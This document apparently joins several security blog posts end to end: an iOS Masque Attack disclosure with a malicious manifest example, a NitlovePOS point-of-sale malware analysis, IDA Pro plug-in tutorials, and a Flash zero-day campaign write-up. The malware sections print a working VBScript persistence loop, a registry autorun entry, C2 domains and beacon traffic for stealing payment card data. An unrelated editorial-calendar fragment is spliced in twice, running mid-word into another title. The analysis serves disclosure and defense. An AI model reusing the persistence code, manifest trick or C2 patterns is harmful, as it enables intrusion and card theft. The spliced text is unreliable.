Manifest Masque Attack leverages the CVE-2015-3722/3725 vulnerability to demolish an existing app on iOS when a victim installs an in-house iOS app wirelessly using enterprise provisioning from a website. The demolished app (the attack target) can be either a regular app downloaded from official App Store or even an important system app, such as Apple Watch, Apple Pay, App Store, Safari, Settings, etc. This vulnerability affects all iOS 7.x and iOS 8.x versions prior to iOS 8.4. We first notified Apple of this vulnerability in August 2014.

Extension Masque Attack can break the restrictions of app data container. A malicious app extension installed along with an in-house app on iOS 8 can either gain full access to a targeted app’s data container or prevent the targeted app from accessing its own data container. On June 14, security researchers Luyi, Xiaofeng et al. disclosed several severe issues on OS X, including a similar issue with this one [5]. They did remarkable research, but happened to miss this on iOS. Their report claimed: “this security risk is not present on iOS”. However, the data container issue does affect all iOS 8.x versions prior to iOS 8.4, and can be leveraged by an attacker to steal all data in a target app’s data container. We independently discovered this vulnerability on iOS and notified Apple before the report [5] was published, and Apple fixed this issue as part of CVE-2015-3725.

In addition to these two vulnerabilities patched on iOS 8.4, we also disclose the detail of another untrusted code injection attack by replacing the VPN Plugin, the Plugin Masque Attack. We reported this vulnerability to Apple in Nov 2014, and Apple fixed the vulnerability on iOS 8.1.3 when Apple patched the original Masque Attack (App Masque) [6, 11]. However, this exploit is even more severe than the original Masque Attack. The malicious code can be injected to the neagent process and can perform privileged operations, such as monitoring all VPN traffic, without the user’s awareness. We first demonstrated this attack in the Jailbreak Security Summit [7] in April 2015. Here we categorize this attack as Plugin Masque Attack.

We will discuss the technical details and demonstrate these three kinds of Masque Attacks.

Manifest Masque: Putting On the New, Taking Off the Old

To distribute an in-house iOS app with enterprise provisioning wirelessly, one has to publish a web page containing a hyperlink that redirects to a XML manifest file hosted on an https server [1]. The XML manifest file contains metadata of the in-house app, including its bundle identifier, bundle version and the download URL of the .ipa file, as shown in Table 1. When installing the in-house iOS app wirelessly, iOS downloads this manifest file first and parse the metadata for the installation process.

<a href="itms-services://?action=downloadmanifest&url=https://example.com/manifest. plist">Install App</a>

 

<plist>

      <array>

          <dict>

             ...

             <key>url</key>

             <string>https://XXXXX.com/another_browser.ipa</string>

            ...

             <key>bundle-identifier</key>

             <string>com.google.chrome.ios</string>

             …

             <key>bundle-version</key>

             <string>1000.0</string>

           </dict>

           <dict>

              … Entries For Another App

           </dict>

       <array>

</plist>

Table 1. An example of the hyperlink and the manifest file

According to Apple’s official document [1], the bundle-identifier field should be “Your app’s bundle identifier, exactly as specified in your Xcode project”. However, we have discovered that iOS doesn’t verify the consistency between the bundle identifier in the XML manifest file on the website and the bundle identifier within the app itself. If the XML manifest file on the website has a bundle identifier equivalent to that of another genuine app on the device, and the bundle-version in the manifest is higher than the genuine app’s version, the genuine app will be demolished down to a dummy placeholder, whereas the in-house app will still be installed using its built-in bundle id. The dummy placeholder will disappear after the victim restarts the device. Also, as shown in Table 1, a manifest file can contain different apps’ metadata entries to distribute multiple apps at a time, which means this vulnerability can cause multiple apps being demolished with just one click by the victim.

By leveraging this vulnerability, one app developer can install his/her own app and demolish other apps (e.g. a competitor’s app) at the same time. In this way, attackers can perform DoS attacks or phishing attacks on iOS.

Figure 1. Phishing Attack by installing “malicious Chrome” and demolishing the genuine one

Figure 1 shows an example of the phishing attack. When the user clicks a URL in the Gmail app, this URL is rewritten with the “googlechrome-x-callback://” scheme and supposed to be handled by Chrome on the device. However, an attacker can leverage the Manifest Masque vulnerability to demolish the genuine Chrome and install “malicious Chrome” registering the same scheme. Other than requiring the same bundle identifier to replace a genuine app in the original Masque Attack [xx], the malicious chrome in this phishing attack uses a different bundle identifier to bypass the installer’s bundle identifier validation. Later, when the victim clicks a URL in the Gmail app, the malicious Chrome can take over the rewritten URL scheme and perform more sophisticated attacks.

What’s worse, an attacker can also exploit this vulnerability to demolish all system apps (e.g. Apple Watch, Apple Pay UIService, App Store, Safari, Health, InCallService, Settings, etc.). Once demolished, these system apps will no longer be available to the victim, even if the victim restarts the device.

Here we demonstrate this DoS attack on iOS 8.3 to demolish all the system apps and one App Store app (i.e. Gmail) when the victim clicks only once to install an in-house app wirelessly. Note that after rebooting the device, all the system apps still remain demolished while the App Store app would disappear since it has already been uninstalled.

June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized Global June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized GlobCaching Out: The Value of Shimcache for Investigators

NitlovePOS: Another New POS Malware

There has been a proliferation of malware specifically designed to extract payment card information from Point-of-Sale (POS) systems over the last two years. In 2015, there have already been a variety of new POS malware identified including a new Alina variant, FighterPOS and Punkey. During our research into a widespread spam campaign, we discovered yet another POS malware that we’ve named NitlovePOS.

The NitlovePOS malware can capture and ex-filtrate track one and track two payment card data by scanning the running processes of a compromised machine. It then sends this data to a webserver using SSL.

We believe the cybercriminals assess the hosts compromised via indiscriminate spam campaigns and instruct specific victims to download the POS malware.

Propagation

We have been monitoring an indiscriminate spam campaign that started on Wednesday, May 20, 2015.  The spam emails referred to possible employment opportunities and purported to have a resume attached. The “From” email addresses were spoofed Yahoo! Mail accounts and contained the following “Subject” lines:

    Subject: Any Jobs?

    Subject: Any openings?

    Subject: Internship

    Subject: Internship questions

    Subject: Internships?

    Subject: Job Posting

    Subject: Job questions

    Subject: My Resume

    Subject: Openings?

The email came with an attachment named CV_[4 numbers].doc or My_Resume_[4 numbers].doc, which is embedded with a malicious macro. To trick the recipient into enabling the malicious macro, the document claims to be a “protected document.”

If enabled, the malicious macro will download and execute a malicious executable from 80.242.123.155/exe/dro.exe. The cybercriminals behind this operation have been updating the payload. So far, we have observed:

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

These payloads beacon to the same server from which they are downloaded and receive instructions to download additional malware hosted on this server. This server contains a wide variety of malware:

    6545d2528460884b24bf6d53b721bf9e  5dro.exe

    e339fce54e2ff6e9bd3a5c9fe6a214ea  AndroSpread.exe

    9e208e9d516f27fd95e8d165bd7911e8  AndroSpread.exe

    abc69e0d444536e41016754cfee3ff90  dr2o.exe

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

    c8b0769eb21bb103b8fbda8ddaea2806  jews2.exe

    4d877072fd81b5b18c2c585f5a58a56e  load33.exe

    9c6398de0101e6b3811cf35de6fc7b79  load.exe

    ac8358ce51bbc7f7515e656316e23f8d  Pony.exe

    3309274e139157762b5708998d00cee0  Pony.exe

    b3962f61a4819593233aa5893421c4d1  pos.exe

    6cdd93dcb1c54a4e2b036d2e13b51216  pos.exe

We focused on the “pos.exe” malware and suspected that it maybe targeted Point of Sale machines. We speculate that once the attackers have identified a potentially interesting host form among their victims, they can then instruct the victim to download the POS malware. While we have observed many downloads of the various EXE’s hosed on that server, we have only observed three downloads of “pos.exe”.

Technical Analysis

We analyzed the “pos.exe” (6cdd93dcb1c54a4e2b036d2e13b51216) binary found on the 80.242.123.155 server. (A new version of “pos.exe” (b3962f61a4819593233aa5893421c4d1) was uploaded on May 22, 2015 that has exactly the same malicious behavior but with different file structure.)

The binary itself is named “TAPIBrowser” and was created on May 20, 2015.

    File Name                       : pos.exe

    File Size                       : 141 kB

    MD5: 6cdd93dcb1c54a4e2b036d2e13b51216

    File Type                       : Win32 EXE

    Machine Type                    : Intel 386 or later, and compatibles

    Time Stamp                      : 2015:05:20 09:02:54-07:00

    PE Type                         : PE32

    File Description                : TAPIBrowser MFC Application

    File Version                    : 1, 0, 0, 1

    Internal Name                   : TAPIBrowser

    Legal Copyright                 : Copyright (C) 2000

    Legal Trademarks                :

    Original Filename               : TAPIBrowser.EXE

    Private Build                   :

    Product Name                    : TAPIBrowser Application

    Product Version                 : 1, 0, 0, 1:

The structure of the file is awkward; it only contains three sections: .rdata, .hidata and .rsrc and the entry point located inside .hidata:

When executed, it will copy itself to disk using a well-known hiding technique via NTFS Alternate Data Streams (ADS) as:

    ~\Local Settings\Temp:defrag.scr

Then will create a vbs script and save it to disk, again using ADS:

    ~\Local Settings\Temp:defrag.vbs

By doing this, the files are not visible in the file system and therefore are more difficult to locate and detect.

Once the malware is running, the “defrag.vbs” script monitors for attempts to delete the malicious process via InstanceDeletion Event; it will re-spawn the malware if the process is terminated. Here is the code contained within “defrag.vbs”:

Set f=CreateObject("Scripting.FileSystemObject")

Set W=CreateObject("WScript.Shell")

Do While                      

GetObject("winmgmts:Win32_Process").Create(W.ExpandEnvironmentStrings("""%TMP%:Defrag.scr""     -"),n,n,p)=0

GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessID="&p).NextEvent

if(f.FileExists(WScript.ScriptFullName)=false)then

W.Run(W.ExpandEnvironmentStrings("cmd /C /D type nul > %TMP%:Defrag.scr")), 0, true

Exit Do

End If

Loop

The malware ensures that it will run after every reboot by adding itself to the Run registry key:

    \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\"Defrag" = wscript "C:\Users\ADMINI~1\AppData\Local\Temp:defrag.vbs"

NitlovePOS expects to be run with the “-“ sign as argument; otherwise it won’t perform any malicious actions. This technique can help bypass some methods of detection, particularly those that leverage automation. Here is an example of how the malware is executed:

    \LOCALS~1\Temp:Defrag.scr" -

If the right argument is provided, NitlovePOS will decode itself in memory and start searching for payment card data. If it is not successful, NitlovePOS will sleep for five minutes and restart the searching effort.

NitlovePOS has three main threads:

    Thread 1:  SSL C2 Communications

    Thread 2: MailSlot monitoring waiting for CC.

    Thread 3: Memory Scrapping

Thread 1:  C2 Communications

NitlovePOS is configured to connect to one of three hardcoded C2 servers:

    systeminfou48[.]ru

    infofinaciale8h[.]ru

    helpdesk7r[.]ru

All three of these domains resolve to the same IP address: 146.185.221.31. This IP address is assigned to a network located in St. Petersburg, Russia.

As soon as NitlovePOS starts running on the compromised system, it will initiate a callback via SSL:

    POST /derpos/gateway.php HTTP/1.1

    User-Agent: nit_love<GUID>

    Host: systeminfou48.ru

    Content-Length: 41

    Connection: Keep-Alive

    Cache-Control: no-cache

    Pragma: no-cache

 

    F.r.HWAWAWAWA

    <computer name>

    <OS Version>

    Y

The User-Agent header contains a hardcoded string “nit_love” and the Machine GUID, which is not necessarily unique but can be used as an identifier by the cybercriminals. The string “HWAWAWAWA” is hardcoded and may be a unique campaign identifier; the “F.r.” is calculated per infected host.

Thread 2: MailSlot monitoring waiting for payment card data

A mailslot is basically a shared range of memory that can be used to store data; the process creating the mailslot acts as the server and the clients can be other hosts on the same network, local processes on the machine, or local threads in the same process.

NitlovePOS uses this feature to store payment card information; the mailslot name that is created comes as a hardcoded string in the binary (once de-obfuscated);

    "\\.\mailslot\95d292040d8c4e31ac54a93ace198142"

Once the mailslot is created, an infinite loop will keep querying the allocated space.

Thread 3: Memory Scrapping

NitlovePOS scans running processes for payment data and but will skip System and “System Idle Process.” It will try to match track 1 or track 2 data and, if found, will write the data into the mailslot created by Thread 2. This information is then sent via POST it to the C2 using SSL, which makes network-level detection more difficult.

Possible Control Panel

During our research we observed what appears to be a test control panel on a different, but probably related, server that matches with NitlovePOS. This panel is called “nitbot,” which is similar to the “nit_love” string found in the binary and was located in a directory called “derpmo” which is similar to the “derpos” used in this case.

 

The information contained in the NitlovePOS beacon matches the fields that are displayed in the Nitbot control panel. These include the machines GIUD that is transmitted in the User-Agent header as well as an identifier “HWAWAWAWA,” which aligns with the “group name” that can be used by the cybercriminals to track various campaigns.

The control panel contains a view that lists the “tracks,” or stolen payment card data. This indicates that this panel is for malware capable of stealing data from POS machines that matches up with the capability of the NitlovePOS malware.

Conclusion

Even cybercriminals engaged in indiscriminate spam operations have POS malware available and can deploy it to s subset of their victims. Due to the widespread use of POS malware, they are eventually discovered and detection increases. However, this is followed by the development of new POS with very similar functionality. Despite the similarity, the detection levels for new variants are initially quite low. This gives the cybercriminals a window of opportunity to exploit the use of a new variant.

We expect that new versions of functionally similar POS malware will continue to emerge to meet the demand of the cybercrime marketplace.

FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

 

Motivation

 

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

 

Introduction

 

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

 

Features

 

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

 

How it works

 

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

 

Preparing the MSDN database file

 

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

 

     

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

     

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

     

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

     

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

     

     

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

  5.  

 

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File - Script file... (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

 

Similar Tools and Known Limitations

 

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<?xml version="1.0" encoding="ISO-8859-1"?>

<msdn>

<functions>

<function>

<name>CreateFileA</name>

<arguments>

<argument>

<name>dwDesiredAccess</name>

<constants enums="MACRO_GENERIC">

<constant>

<name>GENERIC_ALL</name>

<value>0x10000000</value>

<description>All possible access rights</description>

</constant>

<constant>

<name>GENERIC_EXECUTE</name>

<value>0x20000000</value>

<description>Execute access</description>

</constant>

<constant>

<name>GENERIC_WRITE</name>

<value>0x40000000</value>

<description>Write access</description>

</constant>

<constant>

<name>GENERIC_READ</name>

<value>0x80000000</value>

<description>Read access</description>

</constant>

</constants>

</argument>

</arguments>

</function>

</functions>

</msdn>

 

 

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

 

Conclusion

 

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).

 

FLARE IDA Pro Script Series: Automatic Recovery of Constructed Strings in Malware

The FireEye Labs Advanced Reverse Engineering (FLARE) Team is dedicated to sharing knowledge and tools with the community. We started with the release of the FLARE On Challenge in early July where thousands of reverse engineers and security enthusiasts participated. Stay tuned for a write-up of the challenge solutions in an upcoming blog post.

This post is the start of a series where we look to aid other malware analysts in the field. Since IDA Pro is the most popular tool used by malware analysts, we’ll focus on releasing scripts and plug-ins to help make it an even more effective tool for fighting evil. In the past, at Mandiant we released scripts on GitHub and we’ll continue to do so at the following new location https://github.com/fireeye/flare-ida. This is where you will also find the plug-ins we released in the past: Shellcode Hashes and Struct Typer. We hope you find all these scripts as useful as we do.

Quick Challenge

Let’s start with a simple challenge. What two strings are printed when executing the disassembly shown in Figure 1?

figure1

Figure 1: Disassembly challenge

If you answered “Hello world\n” and “Hello there\n”, good job! If you didn’t see it then Figure 2 makes this more obvious. The bytes that make up the strings have been converted to characters and the local variables are converted to arrays to show buffer offsets.

Figure 2: Disassembly challenge with markup

Reverse engineers are likely more accustomed to strings that are a consecutive sequence of human-readable characters in the file, as shown in Figure 3. IDA generally does a good job of cross-referencing these strings in code as can be seen in Figure 4.

Figure 3: A simple string

Figure 4: Using a simple string

Manually constructed strings like in Figure 1 are often seen in malware. The bytes that make up the strings are stored within the actual instructions rather than a traditional consecutive sequence of bytes. Simple static analysis with tools such as strings cannot detect these strings. The code in Figure 5, used to create the challenge disassembly, shows how easy it is for a malware author to use this technique.

Figure 5: Challenge source code

Automating the recovery of these strings during malware analysis is simple if the compiler follows a basic pattern. A quick examination of the disassembly in Figure 1 could lead you to write a script that searches for mov instructions that begin with the opcodes C6 45 and then extract the stack offset and character bytes. Modern compilers with optimizations enabled often complicate matters as they may:

  • Load frequently used characters in registers which are used to copy bytes into the buffer
  • Reuse a buffer for multiple strings
  • Construct the string out of order

Figure 6 shows the disassembly of the same source code that was compiled with optimizations enabled. This caused the compiler to load some of the frequently occurring characters in registers to reduce the size of the resulting assembly. Extra instructions are required to load the registers with a value like the 2-byte mov instruction at 0040115A, but using these registers requires only a 4-byte mov instruction like at 0040117D. The mov instructions that contain hard-coded byte values are 5-bytes, such as at 0040118F.

Figure 6: Compiler optimizations

The StackStrings IDA Pro Plug-in

To help you defeat malware that contains these manually constructed strings we’re releasing an IDA Pro plug-in named StackStrings that is available at https://github.com/fireeye/flare-ida. The plug-in relies heavily on analysis by a Python library called Vivisect. Vivisect is a binary analysis framework frequently used to augment our analysis. StackStrings uses Vivisect’s analysis and emulation capabilities to track simple memory usage by the malware. The plug-in identifies memory writes to consecutive memory addresses of likely string data and then prints the strings and locations, and creates comments where the string is constructed. Figure 7 shows the result of running the above program with the plug-in.

Figure 7: StackStrings plug-in results

While the plug-in is called StackStrings, its analysis is not just limited to the stack. It also tracks all memory segments accessed during Vivisect’s analysis, so manually constructed strings in global data are identified as well as shown in Figure 8.

Figure 8: Sample global string

Simple, manually constructed WCHAR strings are also identified by the plug-in as shown in Figure 9.

Figure 9: Sample WCHAR data

Installation

Download Vivisect from http://visi.kenshoto.com/viki/MainPage and add the package to your PYTHONPATH environment variable if you don’t already have it installed.

Clone the git repository at https://github.com/fireeye/flare-ida. The python\stackstring.py file is the IDA Python script that contains the plug-in logic. This can either be copied to your %IDADIR%\python directory, or it can be in any directory found in your PYTHONPATH. The plugins\stackstrings_plugin.py file must be copied to the %IDADIR%\plugins directory.

Test the installation by running the following Python commands within IDA Pro and ensure no error messages are produced:

Screen Shot 2014-08-01 at 1.06.24 PM

To run the plugin in IDA Pro go to Edit – Plugins – StackStrings or press Alt+0.

Known Limitations

The compiler may aggressively optimize memory and register usage when constructing strings. The worst-case scenario for recovering these strings occurs when a memory buffer is reused multiple times within a function, and if string construction spans multiple basic blocks. Figure 10 shows the construction of “Hello world\n” and “Hello there\n”. The plug-in attempts to deal with this by prompting the user by asking whether you want to use the basic-block aggregator or function aggregator.  Often the basic-block level of memory aggregation is fine, but in this situation running the plug-in both ways provides additional results.

Figure 10: Two strings, one buffer, multiple basic blocks

You’ll likely get some false positives due to how Vivisect initializes some data for its emulation. False positives should be obvious when reviewing results, as seen in Figure 11.

Figure 11: False positive due to memory initialization

The plug-in aggressively checks for strings during aggregation steps, so you’ll likely get some false positives if the compiler sets null bytes in a stack buffer before the complete string is constructed.

The plug-in currently loads a separate Vivisect workspace for the same executable loaded in IDA. If you’ve manually loaded additional memory segments within your IDB file, Vivisect won’t be aware of that and won’t process those.

Vivisect’s analysis does not always exactly match that of IDA Pro, and differences in the way the stack pointer is tracked between the two programs may affect the reconstruction of stack strings.

If the malware is storing a binary string that is later decoded, even with a simple XOR mask, this plug-in likely won’t work.

The plug-in was originally written to analyze 32-bit x86 samples. It has worked on test 64-bit samples, but it hasn’t been extensively tested for that architecture.

Conclusion

StackStrings is just one of many internally developed tools we use on the FLARE team to speed up our analysis. We hope it will help speed up your analysis too. Stay tuned for our next post where we’ll release another tool to improve your malware analysis workflow.

Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit

Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.

Discovery

On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.

Mitigation

To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

  • Windows XP
  • Windows 7 and Java 1.6
  • Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

Vulnerability analysis

GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

ASLR bypass

The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

Shellcode analysis

The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

PlugX/Kaba payload analysis

Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

This PlugX payload was configured with the following command-and-control (CnC) domains:

  • java.ns1[.]name
  • adservice.no-ip[.]org
  • wmi.ns01[.]us

Sample callback traffic was as follows:

POST /D28419029043311C6F8BF9F5 HTTP/1.1

Accept: */*

HHV1: 0

HHV2: 0

HHV3: 61456

HHV4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)

Host: java.ns1.name

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

Campaign analysis

Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.  java.ns1[.]name also resolved to 192.74.246.219 on February 18.

Domain First Seen Last Seen IP Address
adservice.no-ip[.]org adservice.no-ip[.]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18 192.74.246.219 192.74.246.219
